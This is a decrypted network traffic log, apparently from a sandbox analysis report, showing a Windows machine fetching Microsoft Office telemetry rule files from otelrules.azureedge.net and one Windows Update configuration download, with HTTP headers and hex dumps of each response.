2024-11-25 17:29:00 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:00 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: d56f269a-601e-00ab-4c3f-3e66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172900Z-174c587ffdf7t49mhC1TEB4qbg000000064000000000ktyx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:00 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.6	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:59 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:00 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:00 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: d0fe0868-a01e-006f-42ad-3e13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172900Z-178bfbc474bmqmgjhC1NYCy16c00000007tg00000000kcec x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:00 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:00 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:00 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:00 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: e7f051b3-801e-00a0-04bf-3e2196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172900Z-178bfbc474bv7whqhC1NYC1fg400000007w00000000026s4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:00 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.6	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:01 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:02 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:02 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 752ff78c-c01e-0034-4cbf-3e2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172902Z-178bfbc474bvjk8shC1NYC83ns00000007mg00000000e7vu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:02 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.6	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:02 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:02 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:02 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 008b0be1-f01e-001f-587c-3b5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172902Z-174c587ffdfdwxdvhC1TEB1c4n0000000670000000008551 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:02 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.6	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:02 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:02 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:02 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: c76163b7-601e-0070-0647-3ca0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172902Z-178bfbc474b7cbwqhC1NYC8z4n00000007pg00000000dvkb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:02 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.6	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:02 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:02 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:02 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: a77d120f-701e-0053-1802-3f3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172902Z-15b8b599d88n8stkhC1TEBb78n000000016000000000304u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:02 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.6	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:03 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:03 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:03 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 3272c5ec-601e-003d-7d76-3b6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172903Z-174c587ffdf7t49mhC1TEB4qbg000000063000000000r2p3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:03 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	49878	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:03 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=AKVsZxLC8NEf7z4&MD=enY+SlWO HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-25 17:29:04 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 0f15c25c-acd5-4905-b0c5-4ab2a3558435 MS-RequestId: 1793b966-2e79-40d3-a2f8-5549f196aec1 MS-CV: q/LmI2n0RUaSiAJm.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 25 Nov 2024 17:29:03 GMT Connection: close Content-Length: 30005
2024-11-25 17:29:04 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-25 17:29:04 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.6	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:04 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:04 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:04 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 45806a8e-701e-003e-807c-3b79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172904Z-174c587ffdfx984chC1TEB676g000000065g00000000q0t8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:04 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.6	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:05 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:06 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:05 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 79a67e7b-b01e-0098-1dd0-3ecead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172905Z-178bfbc474bh5zbqhC1NYCkdug00000007mg00000000t1s6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:06 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.6	49890	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:05 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
